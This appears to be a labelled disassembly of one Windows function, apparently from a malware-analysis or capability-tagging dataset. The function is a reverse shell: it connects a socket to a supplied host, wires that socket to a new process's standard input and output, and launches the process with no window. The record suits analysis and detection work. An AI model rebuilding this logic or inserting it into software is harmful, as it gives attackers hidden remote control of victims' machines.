Function at 0x18001137a
Capabilities:
Connect socket
Create process on windows
Initialize winsock library

Disassembly:
jmp 0x180011750
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x4f8
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xca
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x518]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x498], rax
lea rcx, [0x180022001]
call fcn.180011339
lea rdx, [rbp + 0x10]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1800117cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_initialize_WinSock__Error_0x_8lx_n
call fcn.180011186
mov eax, 1
jmp 0x180011a39
mov qword [rbp + 0x1c8], 0
mov dword [rbp + 0x1e4], 0
mov dword [rbp + 0x204], 0
lea r9, [rbp + 0x204]
lea r8, [rbp + 0x1e4]
lea rdx, [rbp + 0x1c8]
mov rcx, qword [rbp + 0x4c0]
call fcn.1800112b2
test eax, eax
je 0x18001183e
call qword [sym.imp.ucrtbased.dll__errno]
mov ecx, dword [rax]
call fcn.1800112f3
mov r8, rax
mov rdx, qword [rbp + 0x4c0]
lea rcx, str.Failed_to_resolve__s:__s_n
call fcn.180011186
mov eax, 6
jmp 0x180011a39
cmp dword [rbp + 0x204], 0x17
jne 0x180011861
movzx ecx, word [rbp + 0x4c8]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp + 0x1c8]
mov word [rcx + 2], ax
jmp 0x180011879
movzx ecx, word [rbp + 0x4c8]
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp + 0x1c8]
mov word [rcx + 2], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 6
mov edx, 1
mov ecx, dword [rbp + 0x204]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 0xffffffffffffffff
jne 0x1800118d8
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_socket._Error__ld_n
call fcn.180011186
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x180011a39
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, dword [rbp + 0x1e4]
mov rdx, qword [rbp + 0x1c8]
mov rcx, qword [rbp + 0x228]
call qword [sym.imp.WS2_32.dll_WSAConnect]
mov dword [rbp + 0x244], eax
cmp dword [rbp + 0x244], 0xffffffff
jne 0x18001194c
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov r8d, eax
mov rdx, qword [rbp + 0x4c0]
lea rcx, str.Failed_to_connect_to__s._Error__ld_n
call fcn.180011186
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x180011a39
mov rcx, qword [rbp + 0x1c8]
call qword [sym.imp.ucrtbased.dll_free]
mov rdx, qword [rbp + 0x4c0]
lea rcx, str.Connected_to__s_n
call fcn.180011186
lea rax, [rbp + 0x270]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov dword [rbp + 0x270], WSAGetLastError
mov dword [rbp + 0x2ac], 0x100
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x2d0], rax
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x270]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x18001abfc]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x180011a31
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_process._Error__ld_n
call fcn.180011186
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x180011a39
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x18001aac0]
call fcn.1800112d0
mov rax, rdi
mov rcx, qword [rbp + 0x498]
xor rcx, rbp
call fcn.18001119a
lea rsp, [rbp + 0x4a8]
pop rdi
pop rbp
ret